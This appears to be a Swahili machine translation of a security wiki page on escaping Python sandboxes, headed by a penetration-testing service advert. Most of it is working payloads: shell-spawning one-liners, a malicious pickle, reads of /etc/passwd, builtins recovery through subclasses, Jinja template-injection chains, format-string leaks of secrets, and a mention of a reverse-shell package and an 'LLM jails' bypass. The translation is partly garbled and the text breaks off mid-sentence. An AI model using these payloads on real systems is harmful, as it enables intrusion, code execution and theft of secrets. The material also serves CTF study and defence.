Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
Hizi ni baadhi ya mbinu za kupita ulinzi wa sandbox ya python na kutekeleza amri zisizo na mipaka.
Maktaba za Utekelezaji wa Amri
Jambo la kwanza unahitaji kujua ni kama unaweza kutekeleza moja kwa moja msimbo na maktaba fulani zilizokwisha kuagizwa, au kama unaweza kuagiza yoyote ya hizi maktaba:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Kumbuka kwamba open na read kazi zinaweza kuwa na manufaa ili kusoma faili ndani ya sandbox ya python na kuandika baadhi ya msimbo ambao unaweza kutekeleza ili kuzidi sandbox.
Python2 input() kazi inaruhusu kutekeleza msimbo wa python kabla ya programu kuanguka.
Python hujaribu kudaka maktaba kutoka kwa saraka ya sasa kwanza (amri ifuatayo itachapisha mahali python inakodisha moduli kutoka): python3 -c 'import sys; print(sys.path)'
Kuzidi sandbox ya pickle na pakiti za python zilizowekwa kwa default
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:
This package is called Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.
Eval-ing python code
Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Maktaba nyingine zinazoruhusu kutekeleza msimbo wa python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Wanaendesha na hila fupi
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
Katika hii andiko UFT-7 inatumika kupakia na kutekeleza msimbo wa python wa kawaida ndani ya sandbox inayonekana:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE kuunda vitu na kupita
Ikiwa unaweza kutangaza darasa na kuunda kitu cha darasa hilo unaweza kuandika/kupita mbinu tofauti ambazo zinaweza kuchochewabilakuhitaji kuziita moja kwa moja.
RCE na madarasa ya kawaida
Unaweza kubadilisha baadhi ya mbinu za darasa (kwa kupita mbinu za darasa zilizopo au kuunda darasa jipya) ili kufanya ziweze kutekeleza msimbo wa kawaida wakati zinapochochewa bila kuziita moja kwa moja.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Jambo kuu ambalo metaclasses yanatufanya tufanye ni kuunda mfano wa darasa, bila kuita mjenzi moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Kuunda vitu kwa kutumia makosa
Wakati kosa linapotokea kitu cha Kosa kina undwa bila wewe kuhitaji kuita mjenzi moja kwa moja (hila kutoka @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Zaidi ya RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Soma faili na msaada wa builtins & leseni
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Ikiwa unaweza kufikia kipengee cha __builtins__ unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa mfuatano ulioonyeshwa katika sehemu ya mwisho):
Wakati huna __builtins__ huwezi kuweza kuagiza chochote wala hata kusoma au kuandika faili kwani kazi zote za kimataifa (kama open, import, print...) hazijapakiwa.
Hata hivyo, kwa kawaida python inaagiza moduli nyingi kwenye kumbukumbu. Moduli hizi zinaweza kuonekana kuwa za kawaida, lakini baadhi yao pia zinaagiza kazi hatari ndani yao ambazo zinaweza kufikiwa ili kupata hata utendaji wa msimbo wa kiholela.
Katika mifano ifuatayo unaweza kuona jinsi ya kudhulumu baadhi ya hizi moduli "za kawaida" zilizopakiwa ili kufikiakazihatari ndani yao.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Payloads za Builtins
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
Kuangalia globals na locals ni njia nzuri ya kujua ni nini unaweza kufikia.
Hapa nataka kuelezea jinsi ya kugundua kwa urahisi kazi hatari zaidi zilizopakiwa na kupendekeza mashambulizi ya kuaminika zaidi.
Kufikia subclasses kwa njia za kupita
Moja ya sehemu nyeti zaidi za mbinu hii ni kuwa na uwezo wa kufikia subclasses za msingi. Katika mifano ya awali hii ilifanywa kwa kutumia ''.__class__.__base__.__subclasses__() lakini kuna njia nyingine zinazowezekana:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Kupata maktaba hatari zilizopakiwa
Kwa mfano, kujua kwamba na maktaba sys inawezekana kuagiza maktaba zisizo na mipaka, unaweza kutafuta moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao:
Kuna nyingi, na tunahitaji moja tu ili kutekeleza amri:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Tunaweza kufanya jambo hilo hilo na maktaba nyingine ambazo tunajua zinaweza kutumika ku tekeleza amri:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Zaidi ya hayo, tunaweza hata kutafuta ni moduli zipi zinazoleta maktaba za uhalifu:
Zaidi ya hayo, ikiwa unafikiri maktaba nyingine zinaweza kuita kazi kutekeleza amri, tunaweza pia kuchuja kwa majina ya kazi ndani ya maktaba zinazowezekana:
Hii ni ajabu. Ikiwa unatafuta kitu kama globals, builtins, open au chochote tumia tu skripti hii ili kutafuta kwa urudi wa mahali ambapo unaweza kupata kitu hicho.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
You can check the output of this script on this page:
Ikiwa unatumia string kwa python ambayo itafanywa formatted, unaweza kutumia {} kufikia python internal information. Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Note how you can access attributes in a normal way with a dot like people_obj.__init__ and dict element with parenthesis without quotes __globals__[CONFIG]
Pia kumbuka kwamba unaweza kutumia .__dict__ kuhesabu vipengele vya kitu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Baadhi ya sifa nyingine za kuvutia kutoka kwa format strings ni uwezekano wa executing the functionsstr, repr na ascii katika kitu kilichotajwa kwa kuongeza !s, !r, !a mtawalia:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Zaidi ya hayo, inawezekana kuandika formatters mpya katika madarasa:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
Mifano zaidi kuhusu formatstring mifano inaweza kupatikana katika https://pyformat.info/
Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma habari nyeti kutoka kwa vitu vya ndani vya Python:
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
From format to RCE loading libraries
Kulingana na TypeMonkey chall kutoka kwa andiko hili, inawezekana kupakia maktaba zisizo za kawaida kutoka kwenye diski kwa kutumia udhaifu wa format string katika python.
Kama ukumbusho, kila wakati kitendo kinapofanywa katika python, kazi fulani inatekelezwa. Kwa mfano 2*3 itatekeleza (2).mul(3) au {'a':'b'}['a'] itakuwa {'a':'b'}.__getitem__('a').
Udhaifu wa format string wa python hauwezi kuruhusu kutekeleza kazi (hauwezi kutumia mabano), hivyo haiwezekani kupata RCE kama '{0.system("/bin/sh")}'.format(os).
Hata hivyo, inawezekana kutumia []. Kwa hivyo, ikiwa maktaba ya kawaida ya python ina __getitem__ au __getattr__ ambayo inatekeleza msimbo usio wa kawaida, inawezekana kuzikandamiza ili kupata RCE.
Kutafuta gadget kama hiyo katika python, andiko linapendekeza hii Github search query. Ambapo alipata hii moja:
Hii kifaa inaruhusu kupakia maktaba kutoka diski. Kwa hivyo, inahitajika kwa namna fulani kuandika au kupakia maktaba ili kupakia iliyokusanywa ipasavyo kwenye seva iliyoathiriwa.
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ na func_globals (Sawia) Inapata mazingira ya kimataifa. Katika mfano unaweza kuona baadhi ya moduli zilizoorodheshwa, baadhi ya mabadiliko ya kimataifa na maudhui yao yaliyotangazwa:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ na func_code: Unaweza kufikia sifa hii ya kazi ili kupata kitu cha msimbo cha kazi hiyo.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Kupata Taarifa za Msimbo
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Kumbuka kwamba ikiwa huwezi kuagiza dis katika sandbox ya python unaweza kupata bytecode ya kazi (get_flag.func_code.co_code) na kuichambua mahali. Hutaona maudhui ya mabadiliko yanayoingizwa (LOAD_CONST) lakini unaweza kuyakisia kutoka (get_flag.func_code.co_consts) kwa sababu LOAD_CONST pia inaeleza ofseti ya mabadiliko yanayoingizwa.
Sasa, hebu tufikirie kwamba kwa namna fulani unaweza kutoa taarifa kuhusu kazi ambayo huwezi kuendesha lakini unahitaji kuendesha.
Kama katika mfano ufuatao, unaweza kufikia kitu cha msimbo cha kazi hiyo, lakini kwa kusoma tu disassemble hujui jinsi ya kuhesabu bendera** (fikiria kazi ngumu zaidi ya calc_flag)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Kuunda kitu cha msimbo
Kwanza kabisa, tunahitaji kujua jinsi ya kuunda na kutekeleza kitu cha msimbo ili tuweze kuunda moja kutekeleza kazi yetu iliyovuja:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Kulingana na toleo la python, parameta za code_type zinaweza kuwa na mpangilio tofauti. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kukimbia:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Kuunda upya kazi iliyovuja
Katika mfano ufuatao, tutachukua data zote zinazohitajika kuunda upya kazi kutoka kwa kitu cha msimbo wa kazi moja kwa moja. Katika mfano halisi, thamani zote za kutekeleza kazi code_type ndizo utakazohitaji kuvuja.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona jinsi ya kutekeleza msimbo wowote wa python kwa kutumia compile function. Hii ni ya kuvutia kwa sababu unaweza kutekeleza skripti nzima zenye mizunguko na kila kitu katika line moja (na tunaweza kufanya vivyo hivyo kwa kutumia exec).
Hata hivyo, wakati mwingine inaweza kuwa na manufaa kuundakipande kilichokusanywa katika mashine ya ndani na kukitekeleza katika CTF machine (kwa mfano kwa sababu hatuna compiled function katika CTF).
Kwa mfano, hebu tukusanye na kutekeleza kwa mikono kazi inayosoma ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Ikiwa huwezi kufikia eval au exec unaweza kuunda kazi sahihi, lakini kuitwa moja kwa moja kawaida kutashindwa na: mwandamizi haupatikani katika hali iliyozuiliwa. Hivyo unahitaji kazi isiyo katika mazingira yaliyopunguzika ili kuitwa kazi hii.
Python inayotekelezwa kwa uboreshaji na param -O itafuta taarifa za asset na msimbo wowote wa masharti kulingana na thamani ya debug.
Hivyo, ukaguzi kama
